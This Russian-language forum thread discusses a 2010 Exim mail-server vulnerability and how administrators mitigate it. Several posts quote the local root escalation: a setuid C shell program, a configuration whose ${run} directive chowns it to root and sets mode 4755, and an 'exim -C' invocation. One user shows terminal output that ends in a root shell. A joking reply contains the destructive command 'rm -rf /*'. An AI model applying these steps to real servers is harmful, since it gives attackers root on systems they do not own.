Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от opennews (?), 09-Дек-10, 17:47
В популярном почтовом сервере Exim найдена (http://www.exim.org/lurker/message/20101207.215955.bb32d4f2....) критическая уязвимость, позволяющая удаленному злоумышленнику выполнить свой код на сервере с привилегиями суперпользователя. Уязвимость была выявлена в результате анализа причин взлома одного из серверов. Проанализировав собранный при помощи tcpdump слепок трафика на момент взлома, было выявлено, что взлом был произведен через определенным образом оформленный в секции "DATA" сверхбольшой блок данных, содержащий в своем теле блок "HeaderX: ${shell-код}". С целью предотвращения волны проведения атак, до выпуска обновления представлено только общее описание атака, детали не разглашаются. Так как в определенных кругах подробности с методом эксплуатации данной проблемы уже известны, всем администраторам рекомендуется временно заблокировать работу почтового сервера или  переконфигурировать (http://www.exim.org/exim-html-3.20/doc/html/spec_55.html) Exim для работы под неприви... URL: http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.... Новость: http://www.opennet.dev/opennews/art.shtml?num=28945
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по времени | RSS]

1. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+4 +/–
Сообщение от б.б. (?), 09-Дек-10, 17:47
Больше интересен не эксплоит, а то, каким макаром в дебиане, из-под обычного пользователя так запросто рута дают? На кой тогда его не под рутом запускают, если так запросто рута получить???
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	3. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от zmey (?), 09-Дек-10, 17:54
	читаем между строк: "был сформирован файл "setuid" c кодом, призванным предоставить shell-доступ,"
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

	7. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от non anon (?), 09-Дек-10, 18:32
	Насколько я понял, на этапе инициализации он все равно от рута работает, что и позволяет (через специальный конфиг) подарить зловреду suid-бит.
	Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

	12. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	–2 +/–
	Сообщение от NaN (?), 09-Дек-10, 18:51
	Когда вы начните учить матчасть?
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	15. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от non anon (?), 09-Дек-10, 19:21
	У вас какая-то особенная матчасть, которой нет у других?
	Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

	26. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от гы (?), 09-Дек-10, 21:10
	конфиг читается от рута, в конфиге указано run { chmod 4755 ... } - троян делается суидным именно рутом. но вот кто же даст писать непривилегированному юзеру писать в /etc/exim/e.conf ???
	Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

	31. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 09-Дек-10, 22:48
	они писали e.conf в /var/spool/exim4/
	Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

	35. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от txt (??), 09-Дек-10, 23:58
	по дефолту exim читает из /var/spool/exim4/ конфиги?
	Ответить | Правка | ^ к родителю #31 | Наверх | Cообщить модератору

	36. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 00:32
	нет :) они его "по дефолту" запускали из этого каталога шеллкодом :)
	Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

	59. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от tux2002 (ok), 10-Дек-10, 12:10
	> На кой тогда его не под рутом запускают, если так запросто рута > получить??? Бинарник exim setuid ный от рута. При локальной доставке письма начальный процесс рутовый и делает setuid setgid до пользователя получателя. так во многих дистрибутивах. В документации непривилегированный вариант запуска назван "экзотическим" но возможен. Вот моя заметка на эту тему http://www.opennet.dev/tips/2452_mail_exim.shtml, только сейчас у меня немного подругому.
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

2. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+8 +/–
Сообщение от Viliar (ok), 09-Дек-10, 17:52
Убиться. Кто-то тут давеча рассказывал, что exim был чуть ли не переписан и теперь там с безопасностью все пучком... Те, кто опускал усиленно postfix :-)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	10. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от SubGun (??), 09-Дек-10, 18:50
	Пока систему разрабатывает человек, в ней никогда не может быть 100%-ой безопасности.
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

	24. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Viliar (ok), 09-Дек-10, 21:01
	Это понятно. Но я вот о таком: http://opennet.ru/openforum/vsluhforumID3/64241.html#20 http://opennet.ru/openforum/vsluhforumID3/64241.html#22 Кастуем в тред "ALex_hha" :-)
	Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

	25. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от artemrts (ok), 09-Дек-10, 21:07
	> Это понятно. Но я вот о таком: > http://opennet.ru/openforum/vsluhforumID3/64241.html#20 > http://opennet.ru/openforum/vsluhforumID3/64241.html#22 > Кастуем в тред "ALex_hha" :-) А чот я давно этого парня здесь не слышал:-)
	Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

	80. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Pilat (ok), 10-Дек-10, 17:57
	На тот момент он был прав, разве не так ?
	Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

	109. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Viliar (ok), 11-Дек-10, 17:39
	> На тот момент он был прав, разве не так ? В чем прав? В том, что buffer owerflow судя по changelog фиксять сравнительно регулярно до сих пор? :-) Отвечая на ваш вопрос - нет, в том споре не прав.
	Ответить | Правка | ^ к родителю #80 | Наверх | Cообщить модератору

	112. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от SubGun (??), 12-Дек-10, 00:48
	Ну а я считаю, что он прав. Насчет криворукости того админа тоже. Не сочтите за флуд, но у меня почтовик(Exim) обслуживает 15 доменов и рассылку(почти 400 000 писем в день). Ни разу за 5 лет не было нареканий по поводу его работы. О "buffer overflow" вообще только в сказках слышал.
	Ответить | Правка | ^ к родителю #109 | Наверх | Cообщить модератору

	126. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Viliar (ok), 23-Дек-10, 18:30
	> Ну а я считаю, что он прав. Насчет криворукости того админа тоже. > Не сочтите за флуд, но у меня почтовик(Exim) обслуживает 15 доменов > и рассылку(почти 400 000 писем в день). Ни разу за 5 > лет не было нареканий по поводу его работы. О "buffer overflow" > вообще только в сказках слышал. Очевидно, что Вам a) Повезло b) Changelog'и Вы ну совсем не читаете.
	Ответить | Правка | ^ к родителю #112 | Наверх | Cообщить модератору

4. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
Сообщение от Аноним (-), 09-Дек-10, 18:15
в момент взлома был включен tcpdump?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	5. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от axe (??), 09-Дек-10, 18:20
	я тоже что то не понял. у них он перманентно включен что ли? =)
	Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

	9. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от xeon (??), 09-Дек-10, 18:42
	Угу, сидят фтыкают в вывод с -X, мониторят взломы:)
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

	13. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от pavlinux (ok), 09-Дек-10, 18:52
	> я тоже что то не понял. у них он перманентно включен что ли? =) Видимо не первый случай :)
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

	23. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от dejuren (?), 09-Дек-10, 20:32
	"не первый случай" + honeypot
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	60. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от PereresusNeVlezaetBuggy (ok), 10-Дек-10, 12:16
	> я тоже что то не понял. у них он перманентно включен что > ли? =) Ну вот у меня pflogd на некоторых серверах сохраняет весь интересный траффик за несколько дней. На всякий пожарный. А что, современные винты позволяют. Система со всеми примочками укладывается в пару гигабайт, остальное место забиваем рабочими данными, а также такими вот служебными.
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

	71. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 15:26
	>> я тоже что то не понял. у них он перманентно включен что >> ли? =) > Ну вот у меня pflogd на некоторых серверах сохраняет весь интересный траффик > за несколько дней. На всякий пожарный. А что, современные винты позволяют. > Система со всеми примочками укладывается в пару гигабайт, остальное место забиваем > рабочими данными, а также такими вот служебными. Круто, молодец.
	Ответить | Правка | ^ к родителю #60 | Наверх | Cообщить модератору

6. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
Сообщение от dimss (?), 09-Дек-10, 18:27
Ключевой момент: create another file e.conf with following content: spool_directory = ${run{/bin/chown root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}} the he runs: exim -Ce.conf -q
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	8. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	–1 +/–
	Сообщение от pavlinux (ok), 09-Дек-10, 18:35
	pavel@suse64:/tmp> > test pavel@suse64:/tmp> chown root:root test chown: изменение владельца `test': Операция не позволяется Значить Ехим должен был от рута работать. Тогда ничего удивительного нет, если сервак запущенный от рута считывает пользовательские конфиги и есть команда ${run} Можно было бы и ${run {su -c "rm -rf /*"}}
	Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

	11. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 09-Дек-10, 18:51
	Если я правильно понимаю, он запускается с правами рута, а потом сбрасывает привилегии. И косяк в том, что конфиг парсится до сброса привилегий, при этом ещё и выполняет shell-команды
	Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

	18. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+15 +/–
	Сообщение от б.б. (?), 09-Дек-10, 20:12
	> Если я правильно понимаю, он запускается с правами рута, а потом сбрасывает привилегии. И косяк в том, что конфиг парсится до сброса привилегий, при этом ещё и выполняет shell-команды Зимело. Одинокий парсер бродил по конфигу Exim. Команды в exim были рыхлые и неровные, как первый снег, из-за комментариев и тут и там торчали shell-команды, и парсер всякий раз спотыкался об них, и ворча, начинал их исполнять. И вот он нашёл её, команду, которую бросился исполнять прямо от рута. И в воздухе невообразимо запахло виндой.
	Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

	38. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Мужик32 (ok), 10-Дек-10, 02:01
	Схоронил.
	Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

	49. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от ЬТЛ (?), 10-Дек-10, 09:36
	я думаю там еще и смеркалось ;)
	Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

	21. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Sw00p aka Jerom (?), 09-Дек-10, 20:21
	какой парсинг ? что хекеры блин ждут момента када админ перезапустит экзим ? да на момент парсинга конфига сокет даже не открывается
	Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

	73. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 15:36
	> какой парсинг ? > что хекеры блин ждут момента када админ перезапустит экзим ? > да на момент парсинга конфига сокет даже не открывается а sbin у exim-а зачем стоит?
	Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

	74. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 15:36
	>> какой парсинг ? >> что хекеры блин ждут момента када админ перезапустит экзим ? >> да на момент парсинга конфига сокет даже не открывается > а sbin у exim-а зачем стоит? Пардон, tr/sbin/suid/
	Ответить | Правка | ^ к родителю #73 | Наверх | Cообщить модератору

	97. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Витольд Седышев (?), 11-Дек-10, 14:13
	Наверное что бы захватить SMTP порт!
	Ответить | Правка | ^ к родителю #74 | Наверх | Cообщить модератору

	110. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 11-Дек-10, 19:35
	> Наверное что бы захватить SMTP порт! один про валенки, другой про синее
	Ответить | Правка | ^ к родителю #97 | Наверх | Cообщить модератору

16. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от artemrts (ok), 09-Дек-10, 19:46
А как-то уже отвыклось от таких серьезных ошибках в Эксиме...
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

17. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от Wormik (ok), 09-Дек-10, 20:09
Кто-то нашел уязвимость, взломал чей-то сервер, и когда взламывали, подробности уязвимости сумели обнародовать? Чей сервер взломали? Когда и кто?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	19. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от б.б. (?), 09-Дек-10, 20:12
	> Кто-то нашел уязвимость, взломал чей-то сервер, и когда взламывали, подробности уязвимости > сумели обнародовать? > Чей сервер взломали? Когда и кто? Сначала патч, потом твоё любопытство.
	Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

27. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от pvg (?), 09-Дек-10, 21:59
делаем от себя простого  юзера [pvg@c]$ id uid=231(pvg) gid=500(pvg) группы=500(pvg) int main(int argc, char *argv[]) { setuid(0); setgid(0); setgroups(0, 0); execl("/bin/sh", "sh", 0); } gcc -o setuid setuid.c cat c.conf [pvg@c]$ cat c.conf spool_directory = ${run{/bin/chown \ root:root /home/pvg/c/setuid}}${run{/bin/chmod 4755 /home/pvg/c/setuid}} [pvg@c]$ /usr/sbin/exim -Cc.conf -q 2010-12-09 21:44:50 Failed to create directory "": No such file or directory [pvg@c]$ ls -l итого 20 -rw-rw-r--    1 pvg      pvg           110 Дек  9 21:39 c.conf -rwsr-xr-x    1 pvg      pvg         11915 Дек  9 21:40 setuid -rw-rw-r--    1 pvg      pvg           103 Дек  9 21:36 setuid.c ииии получаем..... а где root????.... бит s вижу, а рута нет где ошибка??????????
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	28. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 09-Дек-10, 22:04
	> [pvg@c]$ /usr/sbin/exim -Cc.conf -q . Запускать нужно от пользователя до которого exim сбрасывает привилегии.
	Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

	29. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от pvg (?), 09-Дек-10, 22:32
	>after that attacker gets shell with id of user Debian-exim and cwd >in /var/spool/exim4 ?then it put file there file setuid with trivial execution of root shell: >[оверквотинг удален] >execl("/bin/sh", "sh", NULL); >} > >and create another file e.conf with following content: >spool_directory = ${run{/bin/chown >root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4>/setuid}} >the he runs: >exim -Ce.conf -q >and gets suid bit on /var/spool/exim4/setuid >everything else is trivial. suid да но от exim , а не от root я
	Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

30. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от Одмин (?), 09-Дек-10, 22:47
Где патчи??
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	37. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Дмитрий (??), 10-Дек-10, 00:59
	chmod -w /var/spool/exim4/ на первое время поставил, от дураков...
	Ответить | Правка | ^ к родителю #30 | Наверх | Cообщить модератору

	39. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Одмин (?), 10-Дек-10, 03:49
	Спасибо. Пока самое адекватное решение от скрипт-киддис и ботов. Судя по mailing list девелоперов понесло не совсем в ту степь и вообще у них траблы с воспроизведением проблемы.
	Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

	40. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от утер (?), 10-Дек-10, 05:35
	А еще это решение отлично помогает от спама - 100% срезается
	Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

	50. "RLY?"	+/–
	Сообщение от Дмитрий (??), 10-Дек-10, 09:40
	А вот и нет. К сожалению...
	Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

32. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от Аноним (-), 09-Дек-10, 22:59
When this option is used by a caller other than root or the Exim user, and the list  is  different  from                  the compiled-in list, Exim gives up its root privilege immediately, and runs with the real and effective                  uid and gid set to those of the caller. However, if ALT_CONFIG_ROOT_ONLY is defined  in  Local/Makefile,                  root privilege is retained for -C only if the caller of Exim is root. Похоже в Debian не используется ALT_CONFIG_ROOT_ONLY...
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

33. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от pvg (?), 09-Дек-10, 23:22
и так bash-3.2$ uname -a Linux hhh.ddd.xxxx 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux bash-3.2$ cat suid.c int main(int argc, char *argv[]) { setuid(0); setgid(0); setgroups(0, 0); execl("/bin/sh", "sh", 0); } bash-3.2$ ls -l итого 40 -rw-r--r-- 1 exim exim  118 Дек  9 23:12 c.conf drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog -rwxr-xr-x 1 exim exim 7158 Дек  9 23:08 suid -rw-r--r-- 1 exim exim  104 Дек  9 23:05 suid.c bash-3.2$ id uid=93(exim) gid=93(exim) группы=12(mail),93(exim) bash-3.2$ cat c.conf spool_directory = ${run{/bin/chown \ root:root /var/spool/exim/setuid}}${run{/bin/chmod 4755 /var/spool/exim/setuid}} bash-3.2$ exim -C c.conf -q bash-3.2$ ls -l итого 40 -rw-r--r-- 1 exim exim  118 Дек  9 23:12 c.conf drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog -rwxr-xr-x 1 exim exim 7158 Дек  9 23:08 suid -rw-r--r-- 1 exim exim  104 Дек  9 23:05 suid.c bash-3.2$ pwd /var/spool/exim bash-3.2$ --------------------------- где suid root ? может и остальное тоже ?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

34. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
Сообщение от pvg (?), 09-Дек-10, 23:46
Извините, ошибся, у меня suid, в конфе setuid к сожалению в el5 работает, а в RH9 НЕТ bash-3.2$ id uid=93(exim) gid=93(exim) группы=12(mail),93(exim) bash-3.2$ ls -l итого 40 -rw-r--r-- 1 exim exim  114 Дек  9 23:38 c.conf drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog -rwxr-xr-x 1 exim exim 7158 Дек  9 23:43 suid -rw-r--r-- 1 exim exim  104 Дек  9 23:05 suid.c bash-3.2$ exim -C c.conf -q bash-3.2$ cat c.conf spool_directory = ${run{/bin/chown \ root:root /var/spool/exim/suid}}${run{/bin/chmod 4755 /var/spool/exim/suid}} bash-3.2$ ls -l итого 40 -rw-r--r-- 1 exim exim  114 Дек  9 23:38 c.conf drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog -rwsr-xr-x 1 root root 7158 Дек  9 23:43 suid -rw-r--r-- 1 exim exim  104 Дек  9 23:05 suid.c bash-3.2$ ./suid sh-3.2# id uid=0(root) gid=0(root) sh-3.2#
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

41. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от Docent (??), 10-Дек-10, 07:34
А я пока сделал так от рута >e.conf && chmod 400 e.conf
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	75. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 15:46
	> А я пока сделал так от рута >>e.conf && chmod 400 e.conf и как оно поможет?
	Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

42. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	–3 +/–
Сообщение от csup (?), 10-Дек-10, 08:06
1. Тем у кого стоит exim - Немедленно снести. 2. Найти знакомых-умников, кто с пеной доказывал что exim лучше и безопаснее postfix и повозить рожей по столу. Go.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	44. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от патрон (?), 10-Дек-10, 08:21
	готово. я сделал. спасибо за подробную инструкцию-наловил лулзов с любителей exim.
	Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

	69. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+2 +/–
	Сообщение от IGX (?), 10-Дек-10, 13:53
	Лучше не использовать компы вообще - так уж точно безопасно... Если, конечно, кирпич с неба не свалится.
	Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

43. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от Аноним (-), 10-Дек-10, 08:16
да просто отменить suid в каталоге спула exim через моунт, обычно это так делается, а то занервничали :)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	45. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Бару (?), 10-Дек-10, 08:38
	... а если спул exim-а находится на разделе на который нет возможности поставить nosuid . Как в этом случае быть? (не удаляя exim ^)
	Ответить | Правка | ^ к родителю #43 | Наверх | Cообщить модератору

	46. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+4 +/–
	Сообщение от утер (?), 10-Дек-10, 08:59
	dd if=/dev/zero of=/var/exim.file bs=1M count=1024 mkfs.ext3 -m0 /var/exim.file mount -o loop,nosuid /var/exim.file /var/spool/exim не ?
	Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

	47. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	–1 +/–
	Сообщение от Аноним (-), 10-Дек-10, 09:14
	а это уже проблема безопасности, не надо ложить яйца в одну корзину :)
	Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

	48. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от lissyara (?), 10-Дек-10, 09:17
	чё за истерия... я ещё в 18:00 вчерась у себя на всех сделал, и спал спокойно srv0# mount|grep spool tmpfs on /var/spool/exim (tmpfs, local, nosuid) tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid) srv0#
	Ответить | Правка | ^ к родителю #47 | Наверх | Cообщить модератору

	52. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 11:07
	О, великий и ужасный lissyara, низкий поклон уважаемому покорителю BSD. ) Дайте сцылку, плз, чем tmpfs прекрасней tmpmfs? P.S. Сорри за оффтоп.
	Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

	81. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от samm (ok), 10-Дек-10, 18:20
	> srv0# mount|grep spool > tmpfs on /var/spool/exim (tmpfs, local, nosuid) > tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid) > srv0# tmpfs на спуле? Т.е. при внезапном power failure вся неушедшая почта уходит в девнул? странный повод для гордости.
	Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

	84. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	–1 +/–
	Сообщение от lissyara (?), 10-Дек-10, 18:53
	>> srv0# mount|grep spool >> tmpfs on /var/spool/exim (tmpfs, local, nosuid) >> tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid) >> srv0# > tmpfs на спуле? Т.е. при внезапном power failure вся неушедшая почта уходит > в девнул? странный повод для гордости. ну, не все же сервера дома под столом держат, или на железе кривом, что в панику падает на ровных местах =) бесперебойник, электроснабжение здания по первой категории, с двумя вводами от разных подстанций - у меня нет причин для беспокойства.
	Ответить | Правка | ^ к родителю #81 | Наверх | Cообщить модератору

	89. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+2 +/–
	Сообщение от samm (ok), 10-Дек-10, 19:44
	>ну, не все же сервера дома под столом держат, или на железе кривом, что в панику падает на ровных местах =) Вот как меня подобное радует. Вы со времен терок про proftpd совсем не изменились. 1) Я не держу (и не держал) сервера дома, если не считать в (много лет назад) фидошный хаб и BBS (хихи). 2) Сервера - преимущественно Dell, от 2950 и выше, ну и HP блейды. 3) Тем не менее я замечательно видел как некривое железо начинает дохнуть. Еще видел как КЗ в системе с двумя БП прекрасно себе убивало материнку и толку от второго БП было чуть меньше чем 0. 4) Если бы все было так просто как вы написали - не заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями. Для меня вот - потеря спула является критичным фейлом, так как при этом потеряется огромное количество писем и я даже не смогу сказать что именно было потеряно. 5) Трапы и фри и линукса на самом прямом железе я видел достаточное количество раз, а некоторые даже сам репортил. В том числе и самые что ни на есть hardware independent.
	Ответить | Правка | ^ к родителю #84 | Наверх | Cообщить модератору

	95. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 11-Дек-10, 06:03
	Поддерживаю, чем больше парк машин, тем больше возникает "странностей" и тем быстрее пропадает иллюзия надежности железа/системы/апс-ок/...
	Ответить | Правка | ^ к родителю #89 | Наверх | Cообщить модератору

	106. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	–2 +/–
	Сообщение от lissyara (?), 11-Дек-10, 17:17
	>>ну, не все же сервера дома под столом держат, или на железе кривом, что в панику падает на ровных местах =) > Вот как меня подобное радует. Вы со времен терок про proftpd совсем > не изменились. и не планирую. как я был неадекватом всю жизнь, так и помру им =)) что касается истории с proftpd - там лишь подтвердилось моё убеждение - пока матом когонгить [кто программить умеет] не обкроешь - ничего сделано не будет =) спасибо за сделанное, кстати. непомню, говорил или нет. > 1) Я не держу (и не держал) сервера дома, если не считать > в (много лет назад) фидошный хаб и BBS (хихи). я один держу, на антресолях. с ненужными данными =)) за 15 минут систему из бэкапа разверну если что, а данных непродублированных - там нет. >[оверквотинг удален] > блейды. > 3) Тем не менее я замечательно видел как некривое железо начинает дохнуть. > Еще видел как КЗ в системе с двумя БП прекрасно себе > убивало материнку и толку от второго БП было чуть меньше чем > 0. > 4) Если бы все было так просто как вы написали - не > заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями. > Для меня вот - потеря спула является критичным фейлом, так как > при этом потеряется огромное количество писем и я даже не смогу > сказать что именно было потеряно. для меня - тока в одном месте эта потеря являтся критической. но там /var отдельно. > 5) Трапы и фри и линукса на самом прямом железе я видел > достаточное количество раз, а некоторые даже сам репортил. В том числе > и самые что ни на есть hardware independent. давно не видел, именно на прямом. но - из совсем прямого - тока пролианты остались, так что сравнивать не с чем.
	Ответить | Правка | ^ к родителю #89 | Наверх | Cообщить модератору

	111. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 11-Дек-10, 19:39
	>> 4) Если бы все было так просто как вы написали - не >> заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями. >> Для меня вот - потеря спула является критичным фейлом, так как >> при этом потеряется огромное количество писем и я даже не смогу >> сказать что именно было потеряно. > для меня - тока в одном месте эта потеря являтся критической. > но там /var отдельно. ууу... еще и вар не отдельной фс, как все печально у вас, однако.
	Ответить | Правка | ^ к родителю #106 | Наверх | Cообщить модератору

	120. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от lissyara (?), 15-Дек-10, 00:46
